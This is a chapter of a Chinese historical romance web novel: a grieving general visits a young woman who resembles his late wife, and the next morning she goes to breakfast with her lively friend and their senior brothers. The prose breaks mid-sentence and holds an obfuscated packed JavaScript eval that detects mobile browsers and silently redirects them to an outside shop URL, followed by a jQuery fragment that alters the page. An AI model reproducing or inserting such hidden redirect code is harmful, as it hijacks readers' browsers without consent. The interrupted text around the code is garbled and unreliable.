不过他既这么说裴念安便不好反驳,面上就装作相信。
“不知将军在这院中多久了。”
萧振的周身都散发着寒气,与这夜晚融为一体,混着明显的酒气,想来来的时间并不短。
他开口的声音倒是比这夜还低沉沙哑几分。
来这多久了,萧振也不知道。
为什么来这......
萧振待在暗室里,已经分不清过了多少时辰,只记得酒一坛又一坛下肚,烧的心也躁动起来。
喝到头脑微微发蒙才出来,还把留下的没喝完的酒罐收拾齐整,确保那里洁净如常。
他记得自己的妻子最爱干净。
在外面看着清冷的月夜,他突然就很想自己妻子,想见她一面,就一面。
可,再也见不到了。
他的脑海里就突然浮现今天回朝的路上看见的那个面容。
相像也好,替身也罢,他现在只想看心里那朝思暮想的身影一眼,一眼就好。
于是,他派下属调查来到这里,来到裴念安的院子里。
来到这他才发现自己糊涂了,真的糊涂了。
竟然还能有这样的想法。
没有人能代替妻子在自己心里的位置,任何人都不能与她相提并论。
萧振叹出一口浊气,摇了摇头,提醒自己。他就在这站着,让风吹散他的酒意,也想让他头脑清醒。
然后裴念安出来了,他如愿以偿地看到了自己心心念念的面孔。
即使不是她。
但那也够了,足够了,至少她在自己脑海中的身影又清晰几分,只要不会模糊就好。
“抱歉姑娘,打扰了,是我唐突了。”
裴念安注视着萧振,他身上是藏不住的疲倦,整个人再没有初见时的雄姿。
裴念安只觉着这样的人不该是这样,他就应该永远意气风发,永远肆意妄为,永远......充满斗志。
“将军不嫌弃的话,可到屋里一坐,去去寒气。”
什么男女大防,孤男寡女不可共处一室,裴念安并不在乎,她这一生见惯了人心冷暖、社会的残酷,她只想随心而活,畅快、肆意地过完这一生。
如何在乎呢,地位低贱的人而已。
萧振明白自己该拒绝,可看着与自己妻子相像的脸根本说不出拒绝的话,只想就这样注视着这张脸再久一点。
她永远是萧振的例外。
“好,叨扰姑娘了。”
“将军请。”
裴念安向旁边撤了两步,做出请的姿态。
萧振阔步地向前迈进,裴念安跟在他后身侧,并未合门,请他上座。
“将军莫要嫌弃这陋室,请上座。”
“多谢。”
二人隔座坐着,裴念安垂眸为他斟一杯热茶放在面前。
他道了声谢。
萧振身板挺拔,一只手端起面前的杯子,手肘搭在桌沿上,漫不经心地看着杯中水波荡漾,一双剑眉下是冷似寒冰的精芒,在这样的地方依旧俊朗不凡。
裴念安端正坐着,端起面前的杯子一饮而尽,并无半点惧色,醒了这么长时间她早就口干舌燥了,她瞥了一眼被他拿起又放下的水杯,面色如常。
“不知姑娘芳名?”
“
裴念安,结念安期枣的念安。”
“裴念安。”萧振低声念了一遍。
“好名字,姑娘读过书吗?”
“只略读过几年,识几个大字。”
“识字就很好。”
气氛沉寂了下来,屋子里笼罩着无言的沉默,从门外偷流进的风也不曾侵扰这寂静。
裴念安知道萧振此来定有其他原因,不过他既不说,她也没有窥探别人秘密的癖好,就自顾自地喝着茶。
萧振起身,神色如常,朝裴念安微点下头。
“此夜是我唐突了,怕是吓到姑娘了,多谢姑娘款待。”
裴念安礼貌性地行礼,嘴角带笑,“将军言重了。”
萧振的目光嵌在她身上,深深地看了她一眼,转身大步离去。
曾多少次,她也是这样笑盈盈的看自己离开。
萧振经过那棵梨花树下,忽然站定了身形,毫无防备的来了一句“梨花很好看”便朝着黑暗走去。
裴念安听到这句无厘头话愣了一愣,不明白突然来这一句是什么意思。
他双脚轻轻踩在铺满落花的地上,用力一蹬,跃起,用手扒在墙沿上用力一按,脚借助墙壁的力翻过了这道墙。
来无影去无踪,他连来过的痕迹都没有,就好像一场梦,除了那桌上已经凉的茶水,还有那落花上留下的脚印。
裴念安只觉得今夜真让人无眠。
她静坐在桌前,透过窗户看那棵落下的梨花盘旋的桃树。
看花落,看花扬,叹悲欢。
此夜再无眠。
翌日,天刚蒙蒙亮,旭日还升起,只悠悠的挂在天边,增添一抹亮色。
“念安,念安,你醒了吗?”
单薇子的声音隔着院子都能听到,声音亮得让人想忽略都难。她大步流星地向前走,一边走一边叫着裴念安的名字。
“我来找你一起走。”
单薇子走到门前,动作行云流水般抬手将门推开,脚跨进屋里,目光一直在寻找着裴念安,嘴唇一直在絮叨,就没有闭上。
她看见裴念安坐在梳妆桌前微微愣了一下,随即笑吟吟地背着手快步地走到裴念安身旁。
“你醒这么早啊,我还以为你没醒呢。”
“你收拾一下一起去吃饭啊,哎不知道今天有什么好吃的。”
单薇子顺手拉了一把椅子坐在裴念安身边,整个身子大剌剌地瘫在椅子上,翘着二郎腿,没有一点坐相,脑海里一直在回想之前早上都会准备什么早餐,想了半天也没有结果。
“好,你等我收拾一下。”
裴念安起身时瞥见她的坐姿,只一眼便移开了,心里暗暗摇头,“这丫头,真是......被花姨看到又该被说了。”
“你小心被花姨看见你这坐姿又罚你练功。”
单薇子正随意摆弄着桌上的物件,拿起来看看又放下,听到这毫不在意地摆摆手,眼神没有离开过桌面。
“没事儿,她看不见。再说了我又不是没被罚过,罚的次数还少吗。”
单薇子拿起一个玉簪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915280|213296||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
举起来看了看,眼神一亮。
“这个不错!”
扭头扫了一眼裴念安,嘴里嘟嘟囔囔:“你快去收拾吧,等会去晚了被发现可就惨了。”
见她不在意,裴念安也没办法,微微叹了口气,转身去收拾了。
单薇子并不在意这些仪态,她自由散漫惯了,平常只有在大师兄花姨面前装装样子。虽然偶尔几次被发现,少不了一顿呵斥和扎马步,嘴里承诺着自己记住了不会再犯了,不过只乖几天,扭头就给忘了。
裴念安常常打趣她记吃不记打,平时也没少提醒她让她免了几次惩罚。
还别说,花姨惩罚人还真有一招,能让人难受几天。单薇子想起来就浑身冒鸡皮疙瘩,“咦——”了一声就将这痛苦的记忆赶了出去。
很快裴念安就换好了衣服,一身暗白色长裙,袖口束缚,浅灰色交领,勾勒出姣好身材。
跟单薇子的服饰一套,只不过一个清丽脱俗一个爽朗大方。
青丝长发被白冠盘起,只几根碎发在额角两边,稍施粉黛,不过分妖艳。
单薇子整个身子依靠在梳妆台,一个手托着脑袋,上身趴在桌子上,侧着脸漫不经心看着裴念安,上下扫量一圈,连连啧啧称赞:“真不愧是我们当家花旦,濯清涟而不妖。美!”
单薇子毫不吝啬地夸赞着裴念安,话里满是打趣,嬉皮笑脸,这摸一下那掐一下的,没个正形,嘻嘻哈哈的。
裴念安早就习惯了她的油嘴滑舌,嗔怪地看了她一眼,眼神带笑地望向她。
“好了走吧。”
单薇子猛地向后滑自己坐着的椅子,发出尖锐的“刺啦”声,手借着桌子的力站起来,然后佯装放荡地走到裴念安面前,手臂从她身后搂着她的脖子往自己身上带,嘴里说着混话。
“走吧小娘子。”
学着浪荡公子的模样撩拨着裴念安。
裴念安用手重重打在她的背上,“啪”的一声,好不响亮。单薇子夸张地呲牙咧嘴,脸上的神情变了又变,立马松开那只手,作势去揉被裴念安打的地方。
“你怎么又打我!疼死我了,你得赔我!”
单薇子戏瘾发作,裴念安早都适应了,只带笑地瞅她一眼,也不理她就往外面走。
单薇子伸手去拉她,见落了空,“哎——”的叫了一声连忙小跑跟上,挽着她的手臂,两人有说有笑地往膳厅走去。
“大师兄,二师兄。”
“大师兄好,二师兄好。”
两人对着苏润和江却端端正正地行了礼问好,小跑着走向自己的位置,四个人坐在一起,氛围是说不出的融洽。
苏润盛了碗粥顺手递给裴念安,随后给江却单薇子各盛了一碗。
“谢谢大师兄。”苏润最后才给自己盛了一碗放在面前,裴念安接过苏润递来的粥。
“吃吧。”苏润开口,声音跟他的人一样温柔。
大家都安生地吃着饭,只有单薇子江却这两个欢喜冤家嬉笑打闹,在那都能拌起嘴,这不,饭桌上也是。
“江却,这最后一块是我的!”单薇子气鼓鼓地开口,声音还是大嗓门,瞥了江却一眼就直勾勾地看着两人筷子交缠在一起的那块肉。